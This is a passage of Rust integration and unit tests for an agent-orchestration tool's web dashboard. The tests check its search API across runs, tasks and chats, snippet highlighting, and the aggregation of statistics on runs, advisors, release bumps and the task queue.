17805        let res = f.get("/api/search?scope=runs&q=quokka").await;
17806        assert_eq!(res.status, 200, "{}", res.body);
17807        let v = res.json();
17808        assert_eq!(v["total"], 1, "{v}");
17809        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17810        assert_eq!(v["hits"][0]["field"], "text");
17811        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17812        let parts = v["hits"][0]["snippet"].as_array().unwrap();
17813        assert!(
17814            parts
17815                .iter()
17816                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17817            "{v}"
17818        );
17819        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17820        assert_eq!(
17821            flat, "The Quokka leaks across threads",
17822            "whitespace is collapsed"
17823        );
17824
17825        // Terms are ANDed, across different fields, case-insensitively.
17826        let both = f
17827            .get("/api/search?scope=runs&q=MOBILE%20quokka")
17828            .await
17829            .json();
17830        assert_eq!(both["total"], 1, "{both}");
17831        let neither = f
17832            .get("/api/search?scope=runs&q=quokka%20zebra")
17833            .await
17834            .json();
17835        assert_eq!(neither["total"], 0, "{neither}");
17836        // Everything in the task statement is reachable, not only the row text.
17837        let stmt = f
17838            .get("/api/search?scope=runs&q=mobile%20first")
17839            .await
17840            .json();
17841        assert_eq!(stmt["total"], 2, "{stmt}");
17842        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17843        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17844    }
17845
17846    #[test]
17847    fn snippet_ignores_terms_longer_than_the_field() {
17848        let terms = ["ok".to_owned(), "elephant".to_owned()];
17849        let parts = snippet_of("ok", &terms);
17850        assert_eq!(
17851            parts,
17852            vec![SnippetPart {
17853                text: "ok".to_owned(),
17854                hit: true
17855            }]
17856        );
17857    }
17858
17859    #[test]
17860    fn snippet_marks_matches_longer_than_the_window() {
17861        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17862        let hit_len = |parts: &[SnippetPart]| -> usize {
17863            parts
17864                .iter()
17865                .filter(|p| p.hit)
17866                .map(|p| p.text.chars().count())
17867                .sum()
17868        };
17869        let total =
17870            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17871
17872        let long = "a".repeat(120);
17873        let parts = snippet_of(&long, std::slice::from_ref(&long));
17874        assert!(hit_len(&parts) > 0, "{parts:?}");
17875        assert!(total(&parts) <= cap);
17876
17877        let ja = "あ".repeat(130);
17878        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17879        assert!(hit_len(&parts) > 0, "{parts:?}");
17880        assert!(total(&parts) <= cap);
17881
17882        // A short hit, then one straddling the window's end.
17883        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17884        let term = format!("ab{}", "c".repeat(100));
17885        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17886        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17887        assert!(total(&parts) <= cap);
17888
17889        // Only the head matches: not highlighted.
17890        let text = format!("{}z", "a".repeat(119));
17891        let parts = snippet_of(&text, &["a".repeat(120)]);
17892        assert_eq!(hit_len(&parts), 0, "{parts:?}");
17893    }
17894
17895    #[tokio::test]
17896    async fn search_caps_hits_and_snippet_length() {
17897        let f = Fixture::start().await;
17898        let runs = f.runs();
17899        for n in 0..(SEARCH_MAX_HITS + 5) {
17900            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17901        }
17902        let v = f.get("/api/search?scope=runs&q=web").await.json();
17903        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17904        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17905        assert_eq!(v["truncated"], true);
17906        // Every listed run hit carries its list row for the page's filters.
17907        assert!(
17908            v["hits"]
17909                .as_array()
17910                .unwrap()
17911                .iter()
17912                .all(|h| h["run"]["status"] == "merged")
17913        );
17914
17915        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17916        let parts = snippet_of(&long, &["needle".to_owned()]);
17917        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17918        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17919        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17920    }
17921
17922    #[tokio::test]
17923    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17924        let f = Fixture::start().await;
17925        let queue = f.queue();
17926        let mut t = Task::new(
17927            "short title".to_owned(),
17928            "line one\nthe hidden Armadillo detail".to_owned(),
17929            PathBuf::from("/repo/magi"),
17930            Source::Agent {
17931                run: "r1".to_owned(),
17932                node: "chat".to_owned(),
17933            },
17934        );
17935        t.last_error = Some("disk full on /tmp".to_owned());
17936        queue.put(&mut t).expect("file the task");
17937
17938        for (q, want) in [
17939            ("armadillo", 1),
17940            ("disk%20FULL", 1),
17941            ("chat", 1),
17942            ("queued", 1),
17943            ("short%20nothing", 0),
17944        ] {
17945            let v = f
17946                .get(&format!("/api/search?scope=tasks&q={q}"))
17947                .await
17948                .json();
17949            assert_eq!(v["total"], want, "{q}: {v}");
17950        }
17951        for bad in [
17952            "/api/search?scope=tasks&q=",
17953            "/api/search?scope=tasks&q=%20",
17954            "/api/search?scope=chats&q=",
17955            "/api/search?scope=chats&q=%20",
17956            "/api/search?scope=nope&q=a",
17957            "/api/search?q=a",
17958        ] {
17959            assert_eq!(f.get(bad).await.status, 400, "{bad}");
17960        }
17961    }
17962
17963    /// Write one conversation file the way the store reads it back.
17964    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17965        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17966            .expect("seat value");
17967        let turns: Vec<serde_json::Value> = turns
17968            .iter()
17969            .map(|(who, body)| {
17970                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17971            })
17972            .collect();
17973        let doc = serde_json::json!({
17974            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17975            "status": status, "turns": turns,
17976            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17977            "seat": seat,
17978        });
17979        let dir = f.home.path().join("talks");
17980        std::fs::create_dir_all(&dir).expect("talks dir");
17981        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17982    }
17983
17984    #[tokio::test]
17985    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
17986        let f = Fixture::start().await;
17987        write_talk(
17988            &f,
17989            "20260901-000001-aaaa",
17990            "open",
17991            &[
17992                (
17993                    "operator",
17994                    "\n  Why does the Pangolin cache expire?\nsecond line",
17995                ),
17996                ("agent", "Because the TTL is thirty seconds."),
17997            ],
17998        );
17999        write_talk(
18000            &f,
18001            "20260901-000002-bbbb",
18002            "closed",
18003            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18004        );
18005        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18006
18007        let search = |q: &'static str| {
18008            let f = &f;
18009            async move {
18010                f.get(&format!("/api/search?scope=chats&q={q}"))
18011                    .await
18012                    .json()
18013            }
18014        };
18015
18016        let v = search("PANGOLIN").await;
18017        assert_eq!(v["scope"], "chats");
18018        assert_eq!(v["total"], 1, "{v}");
18019        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18020        assert_eq!(v["hits"][0]["field"], "title");
18021        assert_eq!(v["unreadable"], 1, "{v}");
18022        let marked: Vec<&str> = v["hits"][0]["snippet"]
18023            .as_array()
18024            .unwrap()
18025            .iter()
18026            .filter(|p| p["hit"] == true)
18027            .map(|p| p["text"].as_str().unwrap())
18028            .collect();
18029        assert_eq!(marked, ["Pangolin"]);
18030
18031        // An agent turn, in a closed conversation.
18032        let v = search("zebra").await;
18033        assert_eq!(v["total"], 1, "{v}");
18034        assert_eq!(v["hits"][0]["field"], "agent");
18035        // Words may sit in different turns; all must be present.
18036        assert_eq!(search("pangolin%20thirty").await["total"], 1);
18037        assert_eq!(search("pangolin%20zebra").await["total"], 0);
18038        // Bookkeeping is not searched.
18039        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18040            assert_eq!(search(q).await["total"], 0, "{q}");
18041        }
18042        // The first line only is the title; the second line is still a turn.
18043        assert_eq!(search("second").await["hits"][0]["field"], "operator");
18044        // Open conversations are listed before closed ones.
18045        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18046
18047        let v = f.get("/api/search?scope=nope&q=a").await;
18048        assert_eq!(v.status, 400);
18049        assert!(
18050            v.body.contains("scope must be runs, tasks or chats"),
18051            "{}",
18052            v.body
18053        );
18054    }
18055
18056    #[test]
18057    fn a_question_card_links_a_task_id_to_the_task_page() {
18058        let start = APP_JS
18059            .find("function updateAskCard(")
18060            .expect("updateAskCard exists");
18061        let body = &APP_JS[start..];
18062        let body = &body[..body.find("\n}\n").expect("function end")];
18063        assert!(body.contains("question.run_is_task"));
18064        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18065        assert!(body.contains("`#/runs/${question.run}`"));
18066        assert!(body.contains("\"task\" : \"run\""));
18067    }
18068
18069    #[test]
18070    fn plain_text_message_surfaces_go_through_linkify() {
18071        assert!(APP_JS.contains("function linkify("));
18072        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18073        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18074        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18075        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18076        assert!(!APP_JS.contains("innerHTML = text"));
18077    }
18078
18079    #[test]
18080    fn implementation_rate_views_keep_independent_samples() {
18081        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18082            let a = stats::AgentStats {
18083                competitive_entered: competitive_n,
18084                competitive_wins: usize::from(competitive_n > 0),
18085                solo_entered: solo_n,
18086                solo_adopted: 2 * usize::from(solo_n > 0),
18087                ..Default::default()
18088            };
18089            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18090            for (key, n, numerator) in [
18091                ("competitive_win_rate", competitive_n, a.competitive_wins),
18092                ("solo_adoption_rate", solo_n, a.solo_adopted),
18093            ] {
18094                if n == 0 {
18095                    assert!(v[key].is_null());
18096                } else {
18097                    assert_eq!(v[key]["denominator"], n);
18098                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18099                }
18100            }
18101        }
18102        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18103        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18104        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18105        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18106    }
18107
18108    #[test]
18109    fn stats_bars_share_one_id_keyed_plan() {
18110        let start = APP_JS
18111            .find("function statsBarRows(")
18112            .expect("statsBarRows exists");
18113        let body = &APP_JS[start..];
18114        let body = &body[..body.find("\n}\n").expect("function end")];
18115        assert!(body.contains("statsBarPlan(rows)"));
18116        assert!(body.contains("statsAgentTone(row.agent)"));
18117        assert!(!body.contains("candTone(i)"));
18118        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18119        for root in [
18120            "stats-agents-bars",
18121            "stats-solo-bars",
18122            "stats-reviewers-bars",
18123        ] {
18124            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18125        }
18126    }
18127
18128    #[test]
18129    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18130        let start = APP_JS
18131            .find("function renderStatsReviewerScatter(")
18132            .expect("renderStatsReviewerScatter exists");
18133        let body = &APP_JS[start..];
18134        let body = &body[..body.find("\n}\n").expect("function end")];
18135        assert!(body.contains("statsScatterPlan(reviewers)"));
18136        assert!(body.contains("statsAgentTone(d.agent)"));
18137        assert!(APP_JS.contains("function statsScatterPlan("));
18138        assert!(
18139            APP_JS.contains("d.submitted < STATS_LOW_N")
18140                || APP_JS.contains("r.submitted < STATS_LOW_N")
18141        );
18142        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18143        assert!(APP_CSS.contains(".precision-scatter"));
18144    }
18145
18146    #[test]
18147    fn advisor_reflection_is_drawn_as_stacked_segments() {
18148        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18149        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18150        let html = include_str!("../assets/ui/index.html");
18151        assert!(html.contains("Approximate"));
18152        for label in ["reflected strongly", "faint", "no proposal"] {
18153            assert!(html.contains(label));
18154        }
18155        let css = include_str!("../assets/ui/app.css");
18156        for c in ["refl-strong", "refl-faint", "refl-absent"] {
18157            assert!(css.contains(&format!(".{c} {{")));
18158        }
18159    }
18160
18161    #[test]
18162    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18163        assert!(APP_JS.contains("function statsDailyPlan("));
18164        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18165        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18166    }
18167
18168    #[test]
18169    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18170        let start = APP_JS
18171            .find("function scheduleSearch(")
18172            .expect("scheduleSearch exists");
18173        let body = &APP_JS[start..];
18174        let body = &body[..body.find("\n}\n").expect("function end")];
18175        assert!(body.contains("s.seq += 1"));
18176    }
18177
18178    /// The dashboard reads every run's state itself rather than trusting a
18179    /// separately-maintained count, so an unreadable run must be counted the
18180    /// same way `/api/health` counts it - never silently dropped the way the
18181    /// CLI's own `stats::load_all` drops it.
18182    #[tokio::test]
18183    async fn stats_runs_unreadable_matches_health() {
18184        let f = Fixture::start().await;
18185        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18186        let broken = f.runs().join("20260902-140502-bad");
18187        std::fs::create_dir_all(&broken).expect("run dir");
18188        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18189
18190        let stats = f.get("/api/stats").await;
18191        let health = f.get("/api/health").await;
18192
18193        assert_eq!(stats.status, 200);
18194        assert_eq!(stats.json()["totals"]["runs"], 1);
18195        assert_eq!(stats.json()["runs_unreadable"], 1);
18196        assert_eq!(
18197            stats.json()["runs_unreadable"],
18198            health.json()["runs_unreadable"],
18199            "the dashboard and /api/health must never disagree about how many \
18200             runs could not be read"
18201        );
18202    }
18203
18204    #[tokio::test]
18205    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18206        let f = Fixture::start().await;
18207        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18208        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18209        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18210
18211        let totals = &f.get("/api/stats").await.json()["totals"];
18212        assert_eq!(totals["runs"], 3);
18213        assert_eq!(totals["merged"], 1);
18214        assert_eq!(totals["stalled"], 1);
18215        assert_eq!(totals["in_progress"], 1);
18216        // A stalled run must never read as blocked/merged/ready - it is its
18217        // own bucket, not folded into a "decided" one.
18218        assert_eq!(totals["blocked"], 0);
18219        assert_eq!(totals["ready"], 0);
18220    }
18221
18222    #[tokio::test]
18223    async fn stats_advisors_report_proposals_and_reflection() {
18224        use crate::advise::{Advice, AdvisorRecord, Reflection};
18225        use crate::verdict::Proposal;
18226
18227        let f = Fixture::start().await;
18228        let mut state = RunState::new(
18229            PathBuf::from("/repo/magi"),
18230            "main".to_owned(),
18231            "0123456789abcdef".to_owned(),
18232            "task".to_owned(),
18233            Config::default(),
18234        );
18235        state.id = "20260902-140501-a".to_owned();
18236        state.status = RunStatus::Merged;
18237        state.advice = Some(Advice {
18238            records: vec![
18239                AdvisorRecord {
18240                    seat: "advisor-1".to_owned(),
18241                    agent: "alpha".to_owned(),
18242                    proposal: Some(Proposal {
18243                        approach: "do it".to_owned(),
18244                        key_tradeoff: "speed over memory".to_owned(),
18245                        risks: Vec::new(),
18246                        touches: Vec::new(),
18247                        why_not_naive: "breaks under load".to_owned(),
18248                    }),
18249                    error: None,
18250                    duration_ms: 0,
18251                    reflection: Reflection::Strong,
18252                },
18253                AdvisorRecord {
18254                    seat: "advisor-2".to_owned(),
18255                    agent: "alpha".to_owned(),
18256                    proposal: None,
18257                    error: Some("timed out".to_owned()),
18258                    duration_ms: 0,
18259                    reflection: Reflection::Absent,
18260                },
18261            ],
18262            synthesis: Some("blended brief".to_owned()),
18263        });
18264        let dir = f.runs().join(&state.id);
18265        std::fs::create_dir_all(&dir).expect("run dir");
18266        std::fs::write(
18267            dir.join("run.json"),
18268            serde_json::to_string_pretty(&state).expect("serialize run"),
18269        )
18270        .expect("write run.json");
18271
18272        // `alpha` is in no roster here; this test is about the rates.
18273        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18274        let alpha = advisors
18275            .as_array()
18276            .expect("an array")
18277            .iter()
18278            .find(|a| a["agent"] == "alpha")
18279            .expect("alpha row");
18280        assert_eq!(alpha["seated"], 2);
18281        assert_eq!(alpha["proposed"], 1);
18282        assert_eq!(alpha["absent"], 1);
18283        assert_eq!(alpha["strong"], 1);
18284        assert_eq!(alpha["faint"], 0);
18285        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18286    }
18287
18288    #[tokio::test]
18289    async fn stats_hides_agents_outside_the_roster_unless_all() {
18290        use crate::run::Candidate;
18291        let repo = TempDir::new().expect("repo dir");
18292        std::fs::write(
18293            repo.path().join("magi.toml"),
18294            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18295        )
18296        .expect("magi.toml");
18297        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18298        let mut state = RunState::new(
18299            PathBuf::from("/repo/magi"),
18300            "main".to_owned(),
18301            "0123456789abcdef".to_owned(),
18302            "task".to_owned(),
18303            Config::default(),
18304        );
18305        state.id = "20260902-140501-a".to_owned();
18306        state.status = RunStatus::Merged;
18307        for (label, agent) in [('A', "keep"), ('B', "retired")] {
18308            let mut c: Candidate = serde_json::from_value(serde_json::json!({
18309                "index": 0, "label": label.to_string(), "agent": agent,
18310                "branch": "b", "worktree": "/w",
18311            }))
18312            .expect("candidate");
18313            c.label = label;
18314            state.candidates.push(c);
18315        }
18316        let dir = f.runs().join(&state.id);
18317        std::fs::create_dir_all(&dir).expect("run dir");
18318        std::fs::write(
18319            dir.join("run.json"),
18320            serde_json::to_string_pretty(&state).expect("serialize run"),
18321        )
18322        .expect("write run.json");
18323
18324        let agents_of = |v: &serde_json::Value| -> Vec<String> {
18325            v["agents"]
18326                .as_array()
18327                .expect("array")
18328                .iter()
18329                .map(|a| a["agent"].as_str().unwrap().to_owned())
18330                .collect()
18331        };
18332        let hidden = f.get("/api/stats").await.json();
18333        assert_eq!(agents_of(&hidden), ["keep"]);
18334        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18335        assert_eq!(hidden["totals"]["runs"], 1);
18336
18337        let all = f.get("/api/stats?all=true").await.json();
18338        assert_eq!(agents_of(&all).len(), 2);
18339        assert_eq!(all["retired_hidden"], serde_json::json!([]));
18340        // Verify competitive and solo keys exist on agent entries
18341        let keep_agent = all["agents"]
18342            .as_array()
18343            .unwrap()
18344            .iter()
18345            .find(|a| a["agent"] == "keep")
18346            .unwrap();
18347        assert_eq!(keep_agent["competitive_entered"], 1);
18348        assert_eq!(keep_agent["competitive_wins"], 0);
18349        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18350        assert_eq!(keep_agent["solo_entered"], 0);
18351        assert_eq!(keep_agent["solo_adopted"], 0);
18352        assert!(keep_agent["solo_adoption_rate"].is_null());
18353    }
18354
18355    #[tokio::test]
18356    async fn stats_release_bumps_split_clean_from_attention() {
18357        use crate::run::ReleaseBump;
18358
18359        let f = Fixture::start().await;
18360
18361        let mut clean = RunState::new(
18362            PathBuf::from("/repo/magi"),
18363            "main".to_owned(),
18364            "0123456789abcdef".to_owned(),
18365            "task".to_owned(),
18366            Config::default(),
18367        );
18368        clean.id = "20260902-140501-a".to_owned();
18369        clean.status = RunStatus::Merged;
18370        clean.release_bump = Some(ReleaseBump {
18371            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18372            version: Some("1.0.0".to_owned()),
18373            automerge_enabled: true,
18374            merged_directly: false,
18375            local: false,
18376            release: None,
18377            problem: None,
18378            action_required: None,
18379            skipped: None,
18380        });
18381
18382        let mut blocked = RunState::new(
18383            PathBuf::from("/repo/magi"),
18384            "main".to_owned(),
18385            "0123456789abcdef".to_owned(),
18386            "task".to_owned(),
18387            Config::default(),
18388        );
18389        blocked.id = "20260902-140502-b".to_owned();
18390        blocked.status = RunStatus::Merged;
18391        blocked.release_bump = Some(ReleaseBump {
18392            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18393            version: Some("1.0.1".to_owned()),
18394            automerge_enabled: false,
18395            merged_directly: false,
18396            local: false,
18397            release: None,
18398            problem: Some("checks red".to_owned()),
18399            action_required: Some("look at the PR".to_owned()),
18400            skipped: None,
18401        });
18402
18403        for state in [&clean, &blocked] {
18404            let dir = f.runs().join(&state.id);
18405            std::fs::create_dir_all(&dir).expect("run dir");
18406            std::fs::write(
18407                dir.join("run.json"),
18408                serde_json::to_string_pretty(state).expect("serialize run"),
18409            )
18410            .expect("write run.json");
18411        }
18412
18413        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18414        assert_eq!(bumps["merged"], 2);
18415        assert_eq!(bumps["recorded"], 2);
18416        assert_eq!(bumps["pr_opened"], 2);
18417        assert_eq!(bumps["automerge_enabled"], 1);
18418        assert_eq!(bumps["needs_attention"], 1);
18419        assert_eq!(bumps["clean"], 1);
18420        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18421        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18422    }
18423
18424    #[tokio::test]
18425    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18426        let f = Fixture::start().await;
18427        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18428
18429        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18430        assert_eq!(bumps["merged"], 1);
18431        assert_eq!(bumps["recorded"], 0);
18432        // `merged` is nonzero, so coverage still reads as a real 0%, not an
18433        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
18434        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18435        // `pr_opened` and `recorded` are both zero here, so these rates have
18436        // no denominator to compute from and must be null.
18437        assert_eq!(bumps["automerge_rate"], Value::Null);
18438        assert_eq!(bumps["attention_rate"], Value::Null);
18439    }
18440
18441    #[tokio::test]
18442    async fn stats_queue_counts_come_from_the_live_queue() {
18443        let f = Fixture::start().await;
18444        let q = f.queue();
18445        let mut queued = Task::new(
18446            "queued task".to_owned(),
18447            "do it".to_owned(),
18448            PathBuf::from("/repo"),
18449            Source::Human,
18450        );
18451        q.put(&mut queued).expect("put queued");
18452        let mut held = Task::new(
18453            "held task".to_owned(),
18454            "do it later".to_owned(),
18455            PathBuf::from("/repo"),
18456            Source::Human,
18457        );
18458        held.hold_machine(Some("out of attempts".to_owned()));
18459        q.put(&mut held).expect("put held");
18460
18461        let queue = f.get("/api/stats").await.json()["queue"].clone();
18462        assert_eq!(queue["queued"], 1);
18463        assert_eq!(queue["held"], 1);
18464        assert_eq!(queue["running"], 0);
18465        assert_eq!(queue["done"], 0);
18466        assert_eq!(queue["failed"], 0);
18467        assert_eq!(queue["blocked"], 0);
18468    }
18469
18470    #[tokio::test]
18471    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18472        let f = Fixture::start().await;
18473        let stats = f.get("/api/stats").await;
18474        assert_eq!(stats.status, 200);
18475        assert_eq!(stats.json()["totals"]["runs"], 0);
18476        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18477        assert_eq!(stats.json()["runs_unreadable"], 0);
18478        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18479        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18480        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18481        assert_eq!(stats.json()["repo"], Value::Null);
18482    }
18483
18484    #[tokio::test]
18485    async fn stats_lists_every_repository_with_runs_recorded() {
18486        let f = Fixture::start().await;
18487        write_run_repo(
18488            &f.runs(),
18489            "20260902-140501-a",
18490            RunStatus::Merged,
18491            "/repos/a",
18492        );
18493        write_run_repo(
18494            &f.runs(),
18495            "20260902-140502-b",
18496            RunStatus::Merged,
18497            "/repos/a",
18498        );
18499        write_run_repo(
18500            &f.runs(),
18501            "20260902-140503-c",
18502            RunStatus::Blocked,
18503            "/repos/b",
18504        );
18505
18506        let stats = f.get("/api/stats").await;
18507        assert_eq!(stats.status, 200);
18508        // Unfiltered - the aggregate across both repositories.
18509        assert_eq!(stats.json()["totals"]["runs"], 3);
18510        assert_eq!(stats.json()["repo"], Value::Null);
18511
18512        let repos = stats.json()["repos"].clone();
18513        let repos = repos.as_array().unwrap();
18514        assert_eq!(repos.len(), 2);
18515        // Busiest (2 runs) first.
18516        assert_eq!(repos[0]["repo"], "/repos/a");
18517        assert_eq!(repos[0]["name"], "a");
18518        assert_eq!(repos[0]["runs"], 2);
18519        assert_eq!(repos[1]["repo"], "/repos/b");
18520        assert_eq!(repos[1]["runs"], 1);
18521    }
18522
18523    #[tokio::test]
18524    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18525        let f = Fixture::start().await;
18526        write_run_repo(
18527            &f.runs(),
18528            "20260902-140501-a",
18529            RunStatus::Merged,
18530            "/repos/a",
18531        );
18532        write_run_repo(
18533            &f.runs(),
18534            "20260902-140502-b",
18535            RunStatus::Blocked,
18536            "/repos/b",
18537        );
18538
18539        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18540        assert_eq!(stats.status, 200);
18541        assert_eq!(stats.json()["totals"]["runs"], 1);
18542        assert_eq!(stats.json()["totals"]["merged"], 1);
18543        assert_eq!(stats.json()["repo"], "/repos/a");
18544        // The repository list itself is unaffected by the filter - it is
18545        // what a client switches repositories from.
18546        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18547        // runs_unreadable is a whole-workload count, never scoped to the
18548        // selected repository - see StatsView::runs_unreadable's own doc.
18549        assert_eq!(stats.json()["runs_unreadable"], 0);
18550    }
18551
18552    #[tokio::test]
18553    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18554        let f = Fixture::start().await;
18555        write_run_repo(
18556            &f.runs(),
18557            "20260902-140501-a",
18558            RunStatus::Merged,
18559            "/repos/a",
18560        );
18561        write_run_repo(
18562            &f.runs(),
18563            "20260902-140502-b",
18564            RunStatus::Merged,
18565            "/repos/b",
18566        );
18567
18568        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18569            let json = f.get(uri).await.json();
18570            let daily = json["daily"].as_array().expect("daily is an array");
18571            assert_eq!(daily.len(), 30);
18572            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18573            let mut sorted = dates.clone();
18574            sorted.sort();
18575            assert_eq!(dates, sorted);
18576            for d in daily {
18577                assert_eq!(
18578                    d["merged"].as_u64().unwrap()
18579                        + d["ready"].as_u64().unwrap()
18580                        + d["other"].as_u64().unwrap(),
18581                    d["runs"].as_u64().unwrap()
18582                );
18583            }
18584            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18585        }
18586    }
18587
18588    #[tokio::test]
18589    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18590        let f = Fixture::start().await;
18591        write_run_repo(
18592            &f.runs(),
18593            "20260902-140501-a",
18594            RunStatus::Merged,
18595            "/repos/a",
18596        );
18597
18598        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18599        assert_eq!(stats.status, 404);
18600    }
18601
18602    #[tokio::test]
18603    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18604        let f = Fixture::start().await;
18605        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18606
18607        let summary = f.get("/api/runs").await.json();
18608        let row = &summary[0];
18609        assert_eq!(row["short"], "a1b2");
18610        assert_eq!(row["status"], "ready");
18611        assert_eq!(row["done"], true);
18612        assert_eq!(row["title"], "Add a web UI");
18613        assert_eq!(row["repo_name"], "magi");
18614        assert_eq!(row["judges"], 3);
18615        assert_eq!(row["winner"], Value::Null);
18616        assert_eq!(row["reviews"], 0);
18617
18618        // The short id resolves, and the detail route is the state itself, not
18619        // a projection of it: the UI reads fields the summary does not carry.
18620        let detail = f.get("/api/runs/a1b2").await;
18621        assert_eq!(detail.status, 200);
18622        assert_eq!(detail.json()["base_branch"], "main");
18623        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18624    }
18625
18626    /// `status: "ready"` alone cannot tell a run still headed for a landing
18627    /// (a PR closed without merging, say) apart from one `[merge] mode =
18628    /// "none"` left unmerged for good — the confusion the operator flagged
18629    /// after the CLI report already grew a `not landed — nothing to do by
18630    /// design` line for exactly this case (`report.rs`). Both the list route
18631    /// and the detail route must carry a flag the phone can key on instead of
18632    /// re-deriving it from `status` + `merge.mode` itself.
18633    #[tokio::test]
18634    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18635        let f = Fixture::start().await;
18636
18637        let mut none_run = RunState::new(
18638            PathBuf::from("/repo/magi"),
18639            "main".to_owned(),
18640            "0123456789abcdef".to_owned(),
18641            "Add a web UI".to_owned(),
18642            Config::default(),
18643        );
18644        none_run.id = "20260902-140503-none".to_owned();
18645        none_run.status = RunStatus::Ready;
18646        none_run.merge = Some(crate::run::MergeOutcome {
18647            mode: crate::config::MergeMode::None,
18648            ok: true,
18649            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
